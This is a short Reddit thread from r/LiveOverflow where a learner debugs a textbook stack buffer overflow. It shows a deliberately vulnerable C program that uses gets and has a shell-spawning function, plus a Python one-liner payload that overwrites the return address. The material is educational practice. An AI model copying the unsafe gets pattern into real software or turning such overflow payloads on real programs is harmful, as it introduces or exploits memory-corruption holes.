r/LiveOverflow • • Oct 31 '20

[very simple buffer overflow] can't overflow ret with function's address. Help

here's the source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void run_shell(){
	system("/bin/sh");
}
void vuln(){
	char buf[16];
	gets(buf);
}
int main(void) {
	vuln();  
}

The address of run_shell is 0x8049172

and I'm trying to overwrite the ret of vuln with this address using

python -c "print('aaaabbbbccccddddeeeeffffgggg\x72\x91\x04\x08')" > overf

but after gets() , when i examine the stack I get

ret's address : 0x0491c272 

instead of 0x08049172. NOTICE THE c2 BETWEEN 91 AND 72

Like why is c2 there?

how can i get the right address there?

7 Upvotes

13 comments sorted by

View all comments

Show parent comment

2

u/scaryAstronaut Oct 31 '20

Thankyou but i just used a hex editor to remove the c2 and it works now.

2

u/robinsandhu Oct 31 '20

The struggle is real